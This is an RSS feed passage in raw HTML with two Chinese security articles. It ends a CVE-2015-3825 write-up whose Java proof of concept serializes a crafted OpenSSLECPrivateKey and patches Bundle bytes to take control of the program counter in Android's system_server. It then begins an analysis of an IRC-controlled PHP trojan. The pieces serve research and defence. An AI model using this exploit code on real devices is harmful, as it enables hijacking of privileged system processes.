data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em style="line-height: 25.6px;"></em></p><p style="line-height: 25.6px;"><span style="line-height: 25.6px;"></span></p><p style="line-height: 25.6px;"><em>Class EC_clazz = Class.forName(&#34;com.android.org.conscrypt.OpenSSLECPrivateKey&#34;);</em></p><p style="line-height: 25.6px;"><em>Class group_context = Class.forName(&#34;com.android.org.conscrypt.OpenSSLECGroupContext&#34;);</em></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><em>Constructor EC_constructor = EC_clazz.getConstructor(ECPrivateKeySpec.class);</em></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><em>Method m_getCurveByName = group_context.getMethod(&#34;getCurveByName&#34;, String.class);</em></p><p style="line-height: 25.6px;"><em>Method m_getECParameterSpec = group_context.getMethod(&#34;getECParameterSpec&#34;);</em></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><em>Object openSslSpec = m_getCurveByName.invoke(null,&#34;prime256v1&#34;);</em></p><p style="line-height: 25.6px;"><em>BigInteger s = new BigInteger(&#34;229cdbbf489aea584828a261a23f9ff8b0f66f7ccac98bf2096ab3aee41497c5&#34;, 16);</em></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><em>ECParameterSpec arg1 = (ECParameterSpec)m_getECParameterSpec.invoke(openSslSpec);</em></p><p style="line-height: 25.6px;"><em>ECPrivateKeySpec arg2 = new ECPrivateKeySpec(s, arg1 );</em></p><p style="line-height: 25.6px;"><em>Object obj = EC_constructor.newInstance(arg2);</em></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><em>//将生成的OpenSSLECPrivateKey对象放入Bundle中 </em></p><p style="line-height: 25.6px;"><em>Bundle b = new Bundle();</em></p><p style="line-height: 25.6px;"><em>b.putSerializable(&#34;eatthis&#34;, (java.io.Serializable)obj);</em></p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p>构造好OpenSSLECPrivateKey后我们需要修改类中的数据，去触发system_server反序列化异常，从而执行id_callback函数。同样，我们在setApplicationRestrictions函数中直接修改byte数据：</p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em style="line-height: 25.6px;"></em></p><p style="line-height: 25.6px;"><span style="line-height: 25.6px;"></span></p><p style="line-height: 25.6px;"><em>byte[] data = _data.marshall();</em></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><em>int i = 410;</em></p><p style="line-height: 25.6px;"><em>data[i] = 0x0;</em></p><p style="line-height: 25.6px;"><em>data[i+1] = 0x0;</em></p><p style="line-height: 25.6px;"><em>data[i+2] = 0x0;</em></p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p>运行测试app，我们可以看到异常：</p><p><br/></p><p><img data-w="2456" class="" data-type="png" data-ratio="0.251628664495114" src="https://wechat2rss.xlab.app/img-proxy/?k=b62ed264&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2sJ01SjZ3vTUMUXY5DCAe3HtELoEnpgxKPzb2Sden54YApDlicHjTRicXmHicZajLj1RTHCIekDNAlQ%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>可以看到，我们仅仅修改几个字节便导致了system_server反序列化异常。但是这里有一个问题，就是data修改的位置不同导致的异常也不同，导致id_callback函数的调用次序也会有所不同，同时寄存器的布置也会有所不同，这会对后面ROP的构造产生影响。作为演示，我们将PC值的值设为0x7e7e7e7e，实际利用的时候应设置为第一个ROP gadget的值：</p><p><br/></p><p><img data-type="png" class="" data-ratio="0.4622222222222222" data-w="2250" src="https://wechat2rss.xlab.app/img-proxy/?k=a0f6d114&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2sJ01SjZ3vTUMUXY5DCAe3K48gVCbnbtBS0vEwSAMK9V5lgrhWEibHt2NhMV4ibbeGlmYfmjj5JR3w%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>我们可以看到system_server在我们指定的地址0x7e7e7e7e崩溃。如果我们构造好了ROP及shellcode的话，这里我们就可以设置为第一个gadget的地址，从而劫持system_server进程的执行流程，进入我们的shellcode执行指令。</p><p><br/></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x03</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><h1 style="font-size: 18px; line-height: 25.6px;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box;"><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; box-sizing: border-box;"><span style="font-size: 20px;"><span style="line-height: 25.6px; white-space: pre-wrap;"><span style="line-height: 25.6px;"><span style="line-height: 25.6px; white-space: pre-wrap;">待续：ROP及shellcode</span></span></span></span></section></section></h1></section></section></section></section></section></section><p><br/></p><p>通过以上的分析及Poc调试，我们成功实现了从crash到控制PC实现进程劫持的过程。下一篇文章我们将继续介绍ROP的构造及利用过程，从而实现命令执行、shellcode执行的目的。ROP及shellcode的构造也是编写exploit过程中最精巧及难度最大的地方，大家可以参考[1]给出的例子。</p><p><br/></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x03</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><h1 style="font-size: 18px; line-height: 25.6px;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box;"><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; box-sizing: border-box;"><span style="font-size: 20px;"><span style="line-height: 25.6px; white-space: pre-wrap;"><span style="line-height: 25.6px;"><span style="line-height: 25.6px;"><span style="line-height: 25.6px; white-space: pre-wrap;">总结</span></span></span></span></span></section></section></h1></section></section></section></section></section></section><p><br/></p><p>本文分析介绍了CVE-2015-3825漏洞的成因，实践了从crash到控制PC指针的Poc编写过程，并记录了调试过程中遇到的诸多问题。漏洞的利用需要强大的调试分析能力，IDA+AVD的组合勉强能够实现单步调试，但是IDA在单步时还是会偶尔出现异常。另外就是在x86上使用arm模拟真的非常卡，crash后启动也非常慢，调试的时候又会多次崩溃重启，只有干等，导致漏洞调试非常耗时。大家在这方面如果有好的解决方法和经验，欢迎大家一起分享及探讨学习！</p><p><br/></p><blockquote><p><em style="line-height: 1.6;"><strong>参考文献</strong></em><br/></p><p><br/></p><p><em>[1]<a href="https://www.usenix.org/system/files/conference/woot15/woot15-paper-peles.pdf" target="_blank">https://www.usenix.org/system/files/conference/woot15/woot15-paper-peles.pdf</a></em></p><p><br/></p><p><em>[2]<a href="http://www.droidsec.cn/opensslx509certificate%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88cve-2015-3825%EF%BC%89%E6%88%90%E5%9B%A0%E5%88%86%E6%9E%90/" target="_blank">http://www.droidsec.cn/opensslx509certificate%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88cve-2015-3825%EF%BC%89%E6%88%90%E5%9B%A0%E5%88%86%E6%9E%90/</a></em></p><p><br/></p><p><em>[3]<a href="http://www.freebuf.com/news/74676.html" target="_blank">http://www.freebuf.com/news/74676.html</a></em></p><p><br/></p><p><em>[4]<a href="http://www.droidsec.cn/%E5%86%8D%E8%AE%BAcve-2014-7911%E5%AE%89%E5%8D%93%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/" target="_blank">http://www.droidsec.cn/%E5%86%8D%E8%AE%BAcve-2014-7911%E5%AE%89%E5%8D%93%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/</a></em></p></blockquote><p style="line-height: 25.6px;"><br/></p><blockquote style="margin-top: 5px; margin-bottom: 5px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px; border: 0px none; white-space: normal; max-width: 100%; font-family: 微软雅黑; font-size: 14px; line-height: 24px; color: rgb(51, 51, 51); box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(241, 241, 241);"><strong style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="max-width: 100%; color: rgb(12, 137, 24); box-sizing: border-box !important; word-wrap: break-word !important;">版权声明：</span></strong></blockquote><p style="margin-top: 5px; margin-bottom: 5px; padding: 5px 10px; white-space: normal; max-width: 100%; min-height: 1em; color: rgb(62, 62, 62); font-family: 微软雅黑; font-size: 14px; line-height: 24px; border: 0px; box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(241, 241, 241);"><strong style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="max-width: 100%; color: rgb(102, 102, 102); box-sizing: border-box !important; word-wrap: break-word !important;">本文由MS509团队成员原创，转载请注明来源</span></strong></p><p style="margin-top: 5px; margin-bottom: 5px; padding: 5px 10px; white-space: normal; max-width: 100%; min-height: 1em; color: rgb(62, 62, 62); font-family: 微软雅黑; font-size: 14px; line-height: 24px; border: 0px; box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(241, 241, 241);"><strong style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="max-width: 100%; color: rgb(102, 102, 102); box-sizing: border-box !important; word-wrap: break-word !important;">注：本文已由团队成员“thor”2016-09-29 发布于“FreeBuf”</span></strong></p><p style="margin-top: 5px; margin-bottom: 5px; padding: 5px 10px; white-space: normal; max-width: 100%; min-height: 1em; color: rgb(62, 62, 62); font-family: 微软雅黑; font-size: 14px; line-height: 24px; border: 0px; box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(241, 241, 241);"><strong style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="max-width: 100%; color: rgb(102, 102, 102); box-sizing: border-box !important; word-wrap: break-word !important;">腾讯玄武实验室9月29日安全动态已推送此文！</span></strong></p><p style="margin-bottom: 28px; line-height: 25.6px; color: rgb(51, 51, 51);"><br/></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding-right: 1em; padding-left: 1em; display: inline-block; text-align: center; box-sizing: border-box;"><span class="" style="padding: 0.3em 0.5em; display: inline-block; border-radius: 0.5em; font-size: 14.08px; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(24, 141, 42);"><section style="box-sizing: border-box;"><span style="font-size: 16px;">MS509简介：</span></section></span> </section><section class="" style="margin-top: -1em; padding: 20px 10px 10px; border: 1px solid rgb(192, 200, 209); text-align: center; box-sizing: border-box; background-color: rgb(239, 239, 239);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="box-sizing: border-box;"><section class="" style="text-align: left; box-sizing: border-box;"><section style="box-sizing: border-box;"><em><em><span style="line-height: 24px; white-space: pre-wrap;">MS509为“中国网安”开展互联网攻防技术研究的专业团队，当前主攻方向包括WEB安全、移动安全、二进制安全等</span><strong style="line-height: 24px; white-space: pre-wrap;">。</strong><strong>更多团队动态，尽在www.ms509.com</strong></em></em></section></section></section></section></section></section></section></section><p style="line-height: 25.6px;"><br/></p><section class="aimeibian imbselect" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section style="text-align: center; border: 0px solid rgb(0, 0, 0);"><section style="display: inline-block;"><section style="width: 21em; border: 0px solid rgb(0, 0, 0);"><img style="width: auto;" class="" data-type="gif" data-ratio="0.532" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=1b0b4184&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIPmdz4nc0ndM0T4dvLW5NpN7vzZs7eUsDzJQ38oWic3ickec4N848AicAvQ%2F0%3Fwx_fmt%3Dgif"/></section><section style="margin-top: -10.5em; margin-left: 0.8em; width: 8em; height: 8em;"><img data-s="300,640" data-type="jpeg" data-w="258" data-ratio="1" src="https://wechat2rss.xlab.app/img-proxy/?k=10c9108b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIP3WSctzWffhLdFjx0W28oHbAQiaqtW7zYu7kGO75vdZZT69TR7iapNpNw%2F0%3Fwx_fmt%3Djpeg"/><br/></section></section></section></section><p><br/></p><p><br/></p><p style="line-height: 25.6px;"><br/></p><section class="aimeibian" data-ele="" style="line-height: 25.6px; white-space: normal;"><section class="aimeibian" data-ele="" style="max-width: 100%; border: 0px none; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><p style="max-width: 100%; word-wrap: break-word; font-size: 15.5556px; min-height: 1.5em; line-height: 2em; word-break: normal; border-radius: 5px; color: rgb(255, 255, 255); text-align: center; box-sizing: border-box !important; background-color: rgb(89, 150, 235);"><span style="max-width: 100%; color: inherit; box-sizing: border-box !important; word-wrap: break-word !important;">↓↓↓ 点击&#34;阅读原文&#34; 【查看更多信息】  </span></p></section></section></section>



<p><a href="http://www.ms509.com/?p=439">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2071898b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAwODgxNTA2NA%3D%3D%26mid%3D2650935222%26idx%3D1%26sn%3D0291679bca804e37236212e1b28374bb%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 10 Oct 2016 09:22:00 +0800</pubDate>
    </item>
    <item>
      <title>用IRC协议与PHP木马“聊天”</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAwODgxNTA2NA==&amp;mid=2650935219&amp;idx=1&amp;sn=1aebb157fb58abcf0813c822c76ace37</link>
      <description>最近，我们的网络监测设备（ATP高级威胁检测系统）中发现了revslider.zip文件，解压后的两个php文件mil.php，pbot.php都经过了编码处理，非常可疑。搜索revslider关键字能找到freebuf上的一篇文章</description>
      <content:encoded><![CDATA[<p>
<span>【原创】 expsky</span> <span>2016-08-18 12:13</span> <span style="display: inline-block;"></span>
</p>

<p>最近，我们的网络监测设备（ATP高级威胁检测系统）中发现了revslider.zip文件，解压后的两个php文件mil.php，pbot.php都经过了编码处理，非常可疑。搜索revslider关键字能找到freebuf上的一篇文章</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=615b2708&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD11MOzbtTJKc5TpjKtBBZQuT8v8Io6ibgM4kFcLsDCG67Ko16RSAvZuVGgQvhP7wYwOSTBOhib4vTMw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="line-height: 25.6px;"><img style="line-height: 25.6px; white-space: normal; text-align: center; background-color: rgb(255, 255, 255);" title="1444706553487851.gif" data-ratio="0.11875" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=60bb7fb5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FjKzAUW2rMBwxibGWwbR9NTzicF72uArHzAW1ibKdMA8BUoTSUwE4M37diacWVMETWetDDemg6wh2D1GNLTGWybYV7g%2F0%3Fwx_fmt%3Dgif"/><br/></p><p style="white-space: normal; line-height: 25.6px;"><em>责任编辑：支书Woojune</em></p><p style="line-height: 25.6px;"><br/></p><section class="aimeibian" style="line-height: 25.6px; white-space: normal;"><section style="margin-top: 10px; margin-bottom: 10px; max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><section class="aimeibian" data-ele="" style="line-height: 25.6px; max-width: 100%; border: 0px none; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="padding: 10px 10px 25px; max-width: 100%; box-sizing: border-box; border: 2px solid rgb(239, 159, 0); border-radius: 10px; word-wrap: break-word !important;"><p style="max-width: 100%; word-wrap: break-word; min-height: 1em; text-align: justify; box-sizing: border-box !important;"><span style="color: rgb(255, 0, 0);"><strong>声明：本文由【中国网安 · MS509 Team】成员expsky原创，仅用于技术交流分享，禁止将相关技术应用到不当途径。</strong></span></p></section></section><section class="aimeibian" data-ele="" style="max-width: 100%; border: 0px none; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="margin-top: -20px; max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="margin-bottom: -25px; line-height: 25.6px; max-width: 100%; display: inline-block; width: 405px; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="margin-left: 20px; max-width: 100%; float: left; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="margin-bottom: -3px; max-width: 100%; width: 25px; height: 7px; border-radius: 5px; box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(51, 51, 51);"></section><section style="margin-left: 9px; max-width: 100%; width: 6px; height: 40px; border-radius: 5px; transform: rotate(0deg); box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(204, 204, 204);"></section><section style="margin-top: -3px; max-width: 100%; width: 25px; height: 7px; border-radius: 5px; box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(51, 51, 51);"></section></section><section style="margin-right: 20px; max-width: 100%; float: right; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="margin-bottom: -3px; max-width: 100%; width: 25px; height: 7px; border-radius: 5px; box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(51, 51, 51);"></section><section style="margin-left: 9px; max-width: 100%; width: 6px; height: 40px; border-radius: 5px; transform: rotate(0deg); box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(204, 204, 204);"></section><section style="margin-top: -3px; max-width: 100%; width: 25px; height: 7px; border-radius: 5px; box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(51, 51, 51);"><br/></section></section></section><section style="padding: 25px 10px 10px; max-width: 100%; box-sizing: border-box; border: 2px solid rgb(239, 159, 0); border-radius: 10px; word-wrap: break-word !important;"><p style="line-height: 25.6px;"><strong>最近，我们的网络监测设备（ATP高级威胁检测系统）中发现了revslider.zip文件，解压后的两个php文件mil.php，pbot.php都经过了编码处理，非常可疑。搜索revslider关键字能找到freebuf上的一篇文章《RevSlider插件漏洞导致大量WordPress网站被黑》，进一步确认了猜测，于是对这两个php文件进行了分析。</strong></p><p style="line-height: 25.6px;"><strong><img data-s="300,640" data-type="png" data-w="724" data-ratio="0.5566298342541437" src="https://wechat2rss.xlab.app/img-proxy/?k=c9f4aae8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD11MOzbtTJKc5TpjKtBBZQuIy3KtR9825p4waBOZoe4IMicMlAmmeuoiaHOWBExxOFIWk8AGasedbTQ%2F0%3Fwx_fmt%3Dpng"/><br/></strong></p><p style="line-height: 25.6px;"><strong><img data-s="300,640" data-type="jpeg" data-w="632" data-ratio="0.564873417721519" src="https://wechat2rss.xlab.app/img-proxy/?k=79d4bd08&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD11MOzbtTJKc5TpjKtBBZQunv6zycvvxWUfaspyBJMG80wpUaibcOibAWGhu8UsiaJF5OwwaknvPcv9A%2F0%3Fwx_fmt%3Djpeg"/><br/></strong></p></section></section></section></section></section><p><br/></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x00</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><h1 style="font-size: 18px; line-height: 25.6px;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box;"><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; box-sizing: border-box;"><span style="font-size: 20px;">pbot.php</span></section></section></h1></section></section></section></section></section></section><p><br/></p><p style="line-height: 25.6px;">通常的webshell木马，顾名思义就是操作界面是web网页，通过http协议进行通讯，能远程执行shell命令。而该木马利用的是IRC协议进行通讯，操作界面是IRC聊天客户端软件，除了同样能够执行shell命令外，还能接收其他更多的远程控制命令（后面会看到）。</p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><span style="color: rgb(0, 82, 255);"><strong>什么是IRC木马？</strong></span></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;">IRC是Internet Relay Chat的英文缩写，是应用层的即时通讯协议。特点是小而美，原理非常简单，用户运行基于IRC协议的客户端软件，连接上IRC服务器，就可以开始聊天了。与传统的webshell比，IRC木马远控的过程就是和肉鸡“聊天”的过程，有更多优势：</p><p style="line-height: 25.6px;"><br/></p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em>可以使用任意的IRC聊天软件来进行远程控制，操作界面更加友好</em></p><p style="line-height: 25.6px;"><em>木马功能更加强大，除了执行shell命令外，可以执行更多的远控命令，而且扩展起来方便，易于维护</em></p><p style="line-height: 25.6px;"><em>在一个聊天窗口，同时控制多台肉鸡（与多个肉鸡“聊天”）</em></p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p style="line-height: 25.6px;"><span style="line-height: 1.6;">下是两个常见的IRC聊天软件：mIRC, XChat</span></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><img data-s="300,640" data-type="jpeg" data-w="534" data-ratio="0.601123595505618" src="https://wechat2rss.xlab.app/img-proxy/?k=263d783c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD11MOzbtTJKc5TpjKtBBZQuJ6amF6FgJyIzaIRyibvcQwOB0I3BAnRicRJMPtluhz5KPP5fPn6Q08lA%2F0%3Fwx_fmt%3Djpeg"/><br/><img data-s="300,640" data-type="jpeg" data-w="888" data-ratio="0.5686936936936937" src="https://wechat2rss.xlab.app/img-proxy/?k=d9f77d9a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD11MOzbtTJKc5TpjKtBBZQuSAb6XA2UcveIH94ibD5FsD5FcGg5j89R9Mg3JK7hbHGqoZbk5ar5uGQ%2F0%3Fwx_fmt%3Djpeg"/><br/></p><p style="line-height: 25.6px;">这个IRC php木马实现了基本的IRC通讯协议，木马运行后连接到了irc.mildnet.net这台IRC服务器，并进入预先设置好的私有频道（群），身在某个角落的木马作者用任意IRC客户端软件加入到相同的频道（群）。可以想象成这样一个画面，一个聊天群里有很多成员，除了木马作者外，其他成员都是被控制的肉鸡，作者可以@任何肉鸡，与它聊天，聊天的内容就是提前设置的远控命令，告诉肉鸡要做什么，肉鸡完成任务后再给作者回复结果。</p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><span style="color: rgb(0, 82, 255);"><strong>IRC协议简介</strong></span></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;">IRC详细的协议比较多，这里介绍下最主要的 </p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;">客户端与服务器之间通讯传递的是一条条的IRC消息，IRC消息是纯文本格式，一条IRC消息最长不超过512字节，以\r\n标志结束</p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;">一条IRC消息由三个部分组成，<strong>前缀、命令字、参数</strong>，以空格分开，其中前缀和参数不是必须的部分，命令字是IRC协议的核心，一共有几十个命令字。命令字有两种表示类型，一种是大写的带英文含义的字符串（如NICK），一种是纯数字（如433）</p><p style="line-height: 25.6px;"><br/></p><table cellpadding="0" cellspacing="0"><colgroup><col width="175" style="width: 175px;"/><col width="64" span="3" style="width: 64px;"/></colgroup><tbody><tr height="18" style="height: 18px; box-sizing: border-box;"><td height="18" width="200"><strong>前缀</strong></td><td width="58" style="border-left-style: none; word-break: break-all;"><strong>命令</strong></td><td width="67" style="border-left-style: none; word-break: break-all;"><strong>参数</strong></td><td width="72" style="border-left-style: none; word-break: break-all;"><strong>结尾符</strong></td></tr><tr height="18" style="height: 18px; box-sizing: border-box;"><td height="18" width="25" style="border-top-style: none; box-sizing: border-box; min-width: 40px; white-space: pre-wrap; word-wrap: break-word;">:  xxx!name@freebuf.com </td><td width="58" style="border-top-style: none; border-left-style: none; box-sizing: border-box; min-width: 40px; white-space: pre-wrap; word-wrap: break-word;">NICK </td><td width="67" style="border-top-style: none; border-left-style: none; box-sizing: border-box; min-width: 40px; white-space: pre-wrap; word-wrap: break-word;">expsky </td><td width="72" style="border-top-style: none; border-left-style: none; box-sizing: border-box; min-width: 40px; white-space: pre-wrap; word-wrap: break-word;">\r\n </td></tr></tbody></table><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;">上面是一条IRC消息，应该能猜出意思就是，告诉服务器我把自己的昵称修改为了expsky</p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;">IRC全部英文命令字：</p><p><br/></p><section class="aimeibian imbselect" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><em><span style="line-height: 25.6px; white-space: 